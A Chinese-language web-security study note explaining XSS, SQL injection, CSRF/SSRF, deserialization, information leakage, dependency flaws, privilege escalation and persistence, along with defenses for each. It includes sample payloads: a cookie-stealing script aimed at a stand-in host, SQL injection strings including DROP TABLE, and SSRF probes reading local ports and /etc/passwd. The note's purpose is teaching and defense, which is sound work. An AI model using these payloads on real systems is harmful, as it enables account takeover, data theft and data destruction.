一、XSS(Cross-Site Scripting,跨站脚本攻击):
作为最普遍的网页语言,HTML 非常灵活,你可以在任意时候对HTML进行修改。但是,这种灵活性也给了黑客可趁之机:通过给定异常的输入,黑客可以在你的浏览器中,插入一段恶意的JavaScript脚本,从而窃取你的隐私信息或者仿冒你进行操作。
三种XSS攻击的类型:
1. 反射型XSS
反射型 XSS 产生在前后端一体的网页应用中,服务端逻辑会改变最终的网页代码,如果黑客攻击客户端,一般是诱导用户点击某个连接,http://localhost/index.php?search=<%2Fh3><script>alert('xss')%3B<%2Fscript><h3>,任何人只要点击了这个链接,就会执行一段黑客定义的 JavaScript 脚本。
2. 基于 DOM 的 XSS
DOM XSS 产生在前端的JS代码中,黑客利用了这一点,在网页中插入自己的脚本。
3. 持久型 XSS
黑客将恶意的 JavaScript 脚本写入到了正常的服务端数据库中,在某个特定的条件下会被用户点击到执行,在应用中,存储用户的输入并对它们进行展示的地方,都可能出现持久型 XSS。比如:搜索结果、评论、博文等等
通过 XSS 攻击,黑客能做什么:
1. 窃取 Cookie
因为黑客注入的JavaScript 代码是运行在 server.com这个域名下的,因此,黑客可以在JavaScript中通过document.cookie获得 Cookie 信息。例如,<script>window.location='http://hacker.com?cookie=' + document.cookie<script>
受SOP(Same Origin Policy,同源策略)保护,我们在server.com中是无法直接向hacker.com发送GET或者POST请求的。这也是为什么,在上面的例子中,我们需要通过window.location来执行跳转操作,间接地将Cookie信息发送出去。除了window.location之外,我们还可以通过加载 JavaScript 文件、图片等方式,向 attacker.com 发送带有 Cookie 的 GET 请求。
2. 未授权操作
黑客还可以利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
3. 按键记录和钓鱼
JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息等。也就是说,你输入的账号名和密码,都可以被JavaScript记录下来,从而被黑客获取到。黑客可以通过修改DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码
XSS的防护:
XSS 防护的核心原则就是验证
1. 验证输入 OR 验证输出
防护的核心原则是:一切用户输入皆不可信,推荐在需要输出的时候去进行验证,如果马上对用户输入的内容进行 验证,这样就会产生两个问题。
- 你将无法保存用户的原始输入信息。这样一来,当出现了Bug或者想要对黑客行为进行溯源时,你只能“推断”,而不能准确地获取用户的原始输入。
- 用户的内容可能会被多种语言获取和使用,提前编码或者处理,将产生未知的问题。比如,在旧版本的PHP中,就存在“magic quotes”的漏洞,因为 PHP 无法处理某些编码的字符而导致崩溃。 HTML中,常见的注入点有:
| 注入点 | 示例 |
|---|---|
| HTML元素内容 | <div>内容用户</div> |
| HTML元素属性 | <input value="用户内容"> |
| URL请求参数 | http://server.com?search=用户内容 |
| CSS值 | color: 用户内容 |
| JavaScript | var name = "用户内容" |
2. 编码
是将部分浏览器识别的关键词进行转换(比如 < 和 >)
3. 检测和过滤
对用户的内容进行检测,可以采用黑名单和白名单的规则。但是,黑客的攻击方法是无穷无尽的。检测了<javascript>,黑客就可以改成<JavaScript>(因为HTML标签对大小写不敏感),甚至有些时候还能够编码成javascript等等。所以,在检测中,更推荐使用白名单的规则
当发现某个用户的内容可能存在 XSS 攻击脚本时,我们该怎么处理呢?这个时候,处理选项有两个:拒绝或者过滤。拒绝会阻碍用户的使用流程,从用户体验的角度上来考虑的话,过滤会更被用户所接受。可以直接对敏感字符进行替换删除等。
4.CSP
面对 XSS 这样一个很普遍的问题,W3C提出了CSP(Content Security Policy, 内容安全策略)来提升Web的安全性。所谓CSP,就是在服务端返回的HTTP header里面添加一个Content-Security-Policy选项,然后定义资源的白名单域名。浏览器就会识别这个字段,并限制对非白名单资源的访问。
Content-Security-Policy:default-src ‘none’; script-src ‘self’;
connect-src ‘self’; img-src ‘self’; style-src ‘self’;
为什么要限制外域资源的访问呢?这是因为XSS通常会受到长度的限制,导致黑客无法提交一段完整的JavaScript代码。为了解决这个问题,黑客会采取引用一个外域JavaScript资源的方式来进行注入。除此之外,限制了外域资源的访问,也就限制了黑客通过资源请求的方式,绕过SOP发送GET请求。目前,CSP还是受到了大部分浏览器支持的,只要用户使用的是最新的浏览器,基本都能够得到很好的保护。
二、SQL注入攻击:
SQL 注入攻击的方式:
1. 修改 WHERE 语句
SELECT * FROM Users WHERE Username ="" AND Password ="" or ""=""
WHERE 语句后面的判断是通过 or 进行拼接的,其中""=""的结果是true。那么,当有一个or是true的时候,最终结果就一定是 true 了。因此,这个WHERE 语句是恒为真的,所以,数据库将返回全部的数据。黑客只需要在登录页面中输入"or""=",就可以在不知道密码的情况下,成功登录后台了。而这,也就是所谓的“万能密码”。
2. 执行任意语句
SELECT * FROM Users WHERE UserId = 1;DROP TABLE Users
SQL 注入攻击的后果:
1. 绕过验证
" or ""=" 作为万能密码,可以让黑客在不知道密码的情况下,通过登录认证。
2. 任意篡改数据
黑客通过插入 DROP TABLE Users,删除数据库中全部的用户。
3. 窃取数据
拖库,黑客利用 UNION 关键词,将 SQL 语句拼接成下面这行代码之后,就可以直接获取全部的用户信息了
SELECT * FROM Users WHERE UserId = 1 UNION SELECT * FROM Users
4. 消耗资源
黑客可以利用 WHILE 打造死循环操作,或者定义存储过程,触发一个无限迭代等等。在这些情况下,数据库服务器因为 CPU 被迅速打满,持续 100%,而无法及时响应其他请求。
SQL 注入防护
1. 使用 PreparedStatement
使用预编译,先对sql语句生成执行计划,在插入输入,无论黑客提交的参数怎么变化,数据库都不会去执行额外的逻辑。
2. 使用存储过程
它的原理和使用PreparedStatement类似,都是通过将SQL语句的解析和执行过程分开,来实现防护。区别在于,存储过程防注入是将解析 SQL 的过程,由数据库驱动转移到了数据库本身。
3. 验证输入
对于验证输入来说,尤其是在复杂场景下的验证输入措施,其防护效果是最弱的。
二、CSRF/SSRF (Cross-Site Request Forgery,跨站请求伪造):
XSS 和 SQL 注入。它们分别篡改了原始的 HTML 和 SQL 逻辑
CSRF 攻击的方式:
黑客编写带有恶意JavaScript 脚本的网页,通过“钓鱼”的方式诱导你访问。然后,黑客会通过这些JavaScript脚本窃取你保存在网页中的身份信息,通过仿冒你,让你的浏览器发起伪造的请求,最终执行黑客定义的操作。
CSRF 攻击的基本条件:
- 使用 Cookie 进行认证;
- 参数中不包含任何隐私信息。
和 XSS 一样,CSRF 也可以仿冒用户去进行一些功能操作的请求,比如修改密码、转账等等,相当于绕过身份认证,进行未授权的操作。
尽管黑客通过 CSRF 能进行的操作没有XSS丰富,但CSRF在传播和攻击成本上都低于XSS。这也就是说,即使你的网页中没有任何注入漏洞,但只要接口配置不当,就能够被CSRF利用。而黑客也只需要在自己的域名中,搭建一个诱导性的网页,就可以让任何访问网页的用户都遭受到 CSRF 攻击
CSRF 防护:
1. CSRFToken
CSRF 是通过自动提交表单的形式来发起攻击的。所以,在前面转账的例子中,黑客可以通过抓包分析出http://bank.com/transfer 这个接口所需要的参数,从而构造对应的form表单。因此,我们只需要在这个接口中,加入一个黑客无法猜到的参数(每次用户正常访问页面时,服务端随机生成返回给浏览器的),就可以有效防止 CSRF 了。这就是 CSRF Token 的工作原理。
2. 二次验证
黑客通过 CSRF 攻击,替你发起了一笔转账。在支付的时候,银行会发起一个全新的页面,进一步验证支付密码。
SSRF(Server Side Request Forgery,服务端请求伪造):
同样的原理,发生在服务端
服务端也有代理请求的功能:用户在浏览器中输入一个URL(比如某个图片资源),然后服务端会向这个URL发起请求,通过访问其他的服务端资源来完成正常的页面展示。这个时候,只要黑客在输入中提交一个内网URL,就能让服务端发起一个黑客定义的内网请求,从而获取到内网数据。也就是我们常说的内网穿透。
SSRF攻击的后果:
1. 内网探测
百度搜图的例子中,我们请求的地址是:https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture.jpg。因为http://s1.sinaimg.cn/picture.jpg会正常返回一个图片,所以网页会展示出来对应的图片。我们假定这样一个服务端逻辑:在这个请求过程中,服务端会判断 objurl 返回数据的Content Type 是否为 image/jpeg。那么,可能的返回结果就有三种:
“是”,则展示图片;不是”,则返回“格式错误”;无响应,则返回“找不到图片”。
基于这三种返回逻辑,黑客可以构造一个恶意的请求地址:https://image.baidu.com/search/detail?objurl=127.0.0.1:3306。如果服务器返回“格式错误”,则代表服务端本地的 3306 端口可用;如果返回“找不到图片”,则代表不可用。
2. 文件读取
服务器除了对图片的代理不做合法性判断之外,对很多其他的代理也不做判断,而是直接将代理的结果返回到前端。我们称这种情况为“有回显的SSRF”。在这种情况下,黑客不仅能够知道请求是否成功了,还能够知道具体返回的内容。
file:// 就是直接读取本地的文件。通过输入file://etc/passwd,黑客就能够通过一个请求获取到本地的passwd文件,从而知道本地有哪些用户。经过不断地尝试,黑客就能够把整个服务器中的文件内容都给拉取出来,这其中包括密钥、源码等极度敏感的信息。
SSRF 防护:
因为 SSRF 漏洞起源于业务的正常功能需求(比如百度图片的图片请求等等)。因此,我们很难真正消除它。
1. 白名单限制
白名单的限制永远是最简单、最高效的防护措施。SSRF中的白名单,就是对用户提交上来的目标URL进行限制。比如,只允许是同一个域名下的 URL。可以理解为,让百度图片的代理服务只允许代理 baidu.com 的 URL。
2. 以对协议和资源类型等进行限制
对于使用协议,只允许HTTP 或者 HTTPS 协议;对于返回的内容,只允许图片格式的内容。
3. 请求端的配合
因为 SSRF 最终的结果,是接受代理请求的服务端发生数据泄漏。所以,SSRF防护不仅仅涉及接收URL的服务端检测,也需要接受代理请求的服务端进行配合。在这种情况下,我们就需要用到请求端限制。
为其他业务提供的服务接口尽量使用 POST
在 SSRF 中(以及大部分的 Web 攻击中),发起一个 POST 请求的难度是远远大于 GET 请求的。
为其他业务提供的服务接口,最好每次都进行验证
通过 SSRF,黑客只能发起请求,并不能获取到服务端存储的验证信息(如认证的 key 和 secret 等)
三、反序列化漏洞:
反序列化漏洞的产生:
反序列化操作,将字符串或者字节流变成对象。
把数据转化成对象的过程中,应用需要根据数据的内容,去调用特定的方法。而黑客正是利用这个逻辑,在数据中嵌入自定义的代码(比如执行某个系统命令)。应用对数据进行反序列化的时候,会执行这段代码,从而使得黑客能够控制整个应用及服务器。
反序列化漏洞的后果:
通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行。换一句话说,黑客已经能够在服务器上执行任意的命令,或者发起拒绝服务攻击: 通过HashSet 的相互引用,构造出一个 100 层的 HashSet,其中包含 200 个 HashSet 的实例和100个 String,对于多层嵌套的对象,Java在反序列化过程中,需要调用的方法呈指数增加。因此,尽管这个序列化的数组大概只有6KB,但是面对这种 100 层的数据,Java所需要执行的方法数是近乎无穷的(n的100次方)。黑客可以通过构建一个体积很小的数据,增加应用在反序列化过程中需要调用的方法数,以此来耗尽 CPU资源,达到影响服务器可用性的目的。
反序列化漏洞的防护:
1. 认证和签名
很多序列化和反序列化的服务并不是提供给用户的,而是提供给服务自身的。对存储的数据进行签名,以此对调用来源进行身份校验。只要黑客获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据。
2. 限制序列化和反序列化的类
维护了一个黑名单的列表,其中包括了很多可能执行代码的方法类。这些类都是平常会使用,但不会序列化的一些工具类,因此我们可以将它们纳入到黑名单中,不允许应用反序列化这些类。在日常使用Fastjson或者其他JSON转化工具的过程中,需要注意避免序列化和反序列化接口类。这就相当于白名单的过滤:只允许某些类可以被反序列化。
3. RASP 检测
RASP(Runtime Application Self-Protection,实时程序自我保护)通过hook等方式,在这些关键函数的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。RASP是最好的检测反序列化攻击的方式。 如果使用认证和限制类这样的方式来检测,就需要一个一个去覆盖可能出现的漏洞点,非常耗费时间和精力。而 RASP 则不同,它通过hook的方式,直接将整个应用都监控了起来。因此,能够做到覆盖面更广、代码改动更少。因为RASP 会hook应用,相当于是介入到了应用的正常流程中。而RASP的检测规则都不高效,因此,它会给应用带来一定的性能损耗,不适合在高并发的场景中使用。
四、信息泄漏:
会造成信息泄露的地方:
1. 错误信息会泄漏代码逻辑
当黑客在登录某个页面时,在用户名位置输入一个单引号,在密码位置输入一个“g”之后,会把错误信息直接显示到前端,黑客可以通过这些错误信息来判断后台用到的SQL,从而进行SQL注入攻击。
避免错误信息泄漏代码逻辑,一方面是要通过正确的配置文件,避免错误信息被展示到前端;另一方面是要对错误信息进行检测,这里就需要用到“黑盒”检测了。
2. 返回信息泄漏
如果输入的用户名和密码正确,则登录成功;如果应用没有这个用户,则返回“用户名不存在”;如果输入的用户名和密码不匹配,则返回“密码错误”。这个逻辑同暴露了过多的信息给黑客。黑客只需要不断地发起登录请求,就能够知道应用中存在的用户名,然后通过遍历常见的弱密码进行尝试,很容易就能够猜对密码。
返回信息过于明确不算是代码层面的漏洞,更多的是产品层面的漏洞。因此,理论上没有任何技术手段能够对这种漏洞进行检测,只能依靠人为的分析审计来避免。解决方案也比较简单,直接将返回信息模糊化、统一化即可。比如,在上述登录的场景中,我们可以
将两种登录失败的返回信息,统一修改为“用户名不存在或密码错误”。
3. 注释信息泄漏
因为所有的前端代码基本都不需要编译就可以展示在浏览器中,所以黑客很容易就可以看到前端代码中的注释信息。但是,如果这些注释信息中出现服务器IP、数据库地址和认证密码这样的关键信息。一旦这些关键信息被泄漏,将会造成十分严重的后果。
避免关键的注释信息出现在线上的代码中,要用到白盒检测的方法。直接获取到线上的源代码,然后对它进行扫描。“白盒”扫描注释信息的原理比较简单,因为每一种语言的注释都会带有特殊的标记(比如Java中的 /* 等),可以比较准确地被识别出来。
4. 直接泄漏
- 版本管理工具中的隐藏文件
只要你没有在上线代码的时候删除其中的.git目录,那就代表黑客可以通过.git中的URL访问里面的所有文件。接下来,只需要通过执行简单的脚本,黑客就可以回溯出一个完整版本的代码了。
我们也可以在HTTP 服务中对部分敏感的路径进行限制。比如,在 Apache httpd 中配置下面的内容,来禁止黑客对.svn 和.git 目录的访问。<DirectoryMatch \.(svn|git)> Order allow,deny Deny from all </DirectoryMatch>
五、插件漏洞:
不只代码本身会产生漏洞,除了代码之外的一切也都有可能出现漏洞。从提供加解密功能的工具 OpenSSL,到提供网络服务的框架 Structs 2,甚至是基础的操作系统 Linux,都有可能出现各种漏洞。
建立插件漏洞的防护体系
1. 整理插件,剔除无用插件
你可以通过Maven Dependency Plugin帮助自动分析插件依赖树。通过mvn dependency:analyze分析。
2. 管理插件补丁更新
通过Version Maven Plugin帮助检查版本的更新。通过mvn version:display-dependency-updates命令。但是会出现以下问题。
补丁可用性不够,并不是所有的插件漏洞,都能有最新的补丁进行及时地更新和维护。
覆盖面不全,并不是所有语言都能够很好的进行插件分析工作,这也就导致运维人员无法掌控公司内使用的所有插件。
更新时间延迟:在补丁更新的周期内,公司的应用会处于无保护的状态。
为了解决这些问题,应该用虚拟补丁,就是在不对应用插件进行升级的情况下,有效阻止攻击流量。实现的原理也很简单,即在前置的网络或系统中,对针对插件漏洞的攻击流量进行检测和拦截即可。
3. 使用公开漏洞库
CVE(Common Vulnerabilities &Exposures,公共漏洞和暴露)
CWE(Common Weakness Enumeration,通用缺陷列表)
CVSS(Common Vulnerability Scoring System,通用漏洞评分系统)
NVD(National Vulnerability Database,国家信息安全漏洞库)
CNVD(China National Vulnerability Database,中国国家信息安全漏洞库)
OWASP Dependency-Check是一款专门进行插件漏洞检测的工具。它会将工程内的插件和公开的漏洞库进行比对。最终,会生成一个网页形式的报告,使你对工程中的插件漏洞一目了然了。
六、权限提升和持久化:
权限提升:
在应用或系统中,黑客或者被黑客控制的用户,通常会通过漏洞攻击或者利用弱密码,获取到其他用户的权限。在获取了新的用户权限之后,黑客就能够以新用户的身份去窃取和篡改数据,进行非法的操作了。这就是权限提升(Privilege Escalation)。黑客可以通过不断获取新的身份,来不断扩大(或者叫提升)自己的权限,不断扩大攻击影响,最终实现控制整个系统。
水平提升是指黑客获取了另外一个“平级”用户的权限。尽管权限等级没变,但因为黑客控制的用户身份发生了变更,所以黑客能够获得新的数据和权限。比如,常见的普通用户被盗号就是一种水平提升。
垂直提升的危害性更大。通过垂直越权,黑客能够获得一个更高级别的权限,通常来说,是应用的管理员或系统的 ROOT 权限。
权限持久化:
1. 后门
当黑客通过权限提升,成功获取到一个高级别的权限后,为了保留这个权限,黑客会在应用中留下一个隐藏的进程,下次只要黑客想再次进入,就可以通过这个进程来连通,而不需要再次去绕过各种安全流程。
2. 后门的工作方式
我们前面课程讲过的所有攻击方式,通常都是为了造成一些显式的攻击。而“后门”的目的则不同,“后门”会尽力隐藏自己不被别人发现。因此,“后门”通常会以木马的形式出现。所谓木马(Trojan),就是一些外表看起来正常,但会对应用和系统进行破坏的服务和进程。
木马也可以不依附于应用,直接隐藏自己呢?当然可以。那么,“后门”就发展成了Rootkit。通常来说,Rootkit会驻扎于内核中,通过修改内核的逻辑来完成“后门”的功能。因为内核具备较高的权限,所以Rootkit就能破坏杀毒软件这样的安全进程,而不被轻易发现。同样地,因为 Rootkit 驻扎在内核中,理论上,除了重装系统以外,没有其他更好的方式来根除“后门”。
除了以隐藏进程的形式运行“后门”,黑客也可以把“后门”留在正常的 Web 服务中,这就变成了 WebShell。
3. 将后门植入到系统
最直接的方式就是通过权限提升,即黑客直接获取到系统的命令执行权限,然后通过网络将“后门”程序从云端下载下来。
除此之外,黑客还可以通过文件上传漏洞向服务器上传一个程序。在使用应用的时候,用户经常需要上传一些文件,很多时候,开发人员为了方便,会直接将上传的文件存储到当前目录,也就是Web服务的目录中。这个时候,如果黑客上传的是一个PHP文件,那么这个 PHP 文件就会被放入到 Web服务的目录中。因此,黑客只需要上传一个包含 WebShell 的PHP文件,就成功了植入了一个“后门”。
黑客还需要保证“后门”的持久化。因此,“后门”需要常驻于系统的后台,并能够随着系统的开关机而启动。为了实现这个目的,黑客通常会在定时任务(crontab)或者开机启动项(inittab、rc.local)的配置中,加上“后门”的执行命令。
权限提升和持久化的防护:
1. 最小权限原则
2. IDS(Intrusion Detection System,入侵检测系统)
IDS 的检测原理是,通过分析正常用户和黑客在网络层或者主机层中的行为异同,来识别黑客的攻击。比如,正常用户不会去连接内网中不相干的主机,而黑客则必须通过扫描去探测内网等。
安全中纵深防御的一种思想:对不同的层级进行不同的防御,即使前面层漏过了,下一层还能够接着进行防护。